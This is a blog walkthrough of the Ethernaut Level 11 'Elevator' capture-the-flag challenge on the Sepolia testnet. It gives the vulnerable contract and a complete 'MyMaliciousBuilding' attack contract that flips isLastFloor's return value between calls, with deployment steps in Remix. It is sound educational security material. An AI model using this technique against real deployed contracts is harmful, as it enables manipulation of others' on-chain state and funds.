Elevator - Level 11
Tags: 100daystooffload, ethernaut, soldity, ethereum
Published: 2023-12-27 16:49:19

## Problem statement

This elevator won't let you reach the top of your building. Right?

Things that might help:
* Sometimes solidity is not good at keeping promises.
* This **Elevator** expects to be used from a **Building**.

```js
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}
```

## Solution

Start with creating a new contract for the current level by clicking on the button, `Get new instance`. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window. This address will be used later.

```js
await contract.address
```

With this information we can continue to next step. Open a new tab in your browser (Ctrl+t) and go to [Remix](https://remix.ethereum.org/).

In the file explorer, create a new file and name it `MyMaliciousBuilding.sol`.

The following code should be added as a the `MyMaliciousBuilding` contract.

```js
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

interface Elevator {
    function goTo(uint) external;
}

contract MyMaliciousBuilding {
    address public elevator;
    bool public state;

    constructor(address _address) {
        elevator = _address;
        state = true;
    }
    
    function isLastFloor(uint) external returns (bool) {
        state = !state;

        return state;
    }

    function attack() public {
        Elevator(elevator).goTo(1337);
    }
}
```

Go to the compiler and compile the `MyMaliciousBuilding` contract. When the contract has been compiled without any errors it's possible to deploy it to the Sepolia network. This is done in the `DEPLOY & RUN TRANSACTIONS` view in Remix. Make sure to use the environment, `Injected Provider - MetaMask`. It's also important that we give the contract the address to the contract we are attacking, from the first step.

![deploy step](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ydef6v58gwv6goizvfh2.png)

When everything is in order, click the button `Deploy` and sign the transaction with your wallet.

Next step is to click on the button `attack` for the newly deployed contract.

![attack button](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pou7ykczq5xdlgvvolc0.png)

Once again sign the transaction with your wallet. Then jump back to web page where we created the new instance of the Elevator contract. In the console window verify that the contract has updated its state accordingly.

```js
await contract.top() // should be true
await contract.floor() // should be 1337
```

If the outcome looks fine, then finish the challenge by clicking the button, `Submit instance`, to commit and update the progress on the ethernaut contract.

## Explanation

As always we can never trust that the contract we are calling, in this case `MyMaliciousBuilding`, will behave.

The interface will not give any guarantees on how the function, `isLastFloor`, will be implemented.

In this case we know that the `Elevator` contract will be calling it twice.

```js
if (! building.isLastFloor(_floor)) {
  floor = _floor;
  top = building.isLastFloor(floor);
}
```

Therefore we can add some state to the `MyMaliciousBuilding` contract so that the `isLastFloor` function will return, `false`, the first time and on the second call it will return, `true`.

```js
function isLastFloor(uint) external returns (bool) {
    state = !state; // Flip the state...

    return state;
}
```

Lastly, the feedback from the author of the challenge.

![Message from author](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mz5wwbn493di7wqz146b.png)

## Resources

* [Elevator](https://ethernaut.openzeppelin.com/level/11) - This challenge
* [Remix](https://remix.ethereum.org/) - Web based IDE for Solidity
* [Solidity](https://docs.soliditylang.org/en/v0.8.21/) - Solidity documentation
* [State mutabillity](https://docs.soliditylang.org/en/develop/contracts.html#state-mutability) - the reference from the author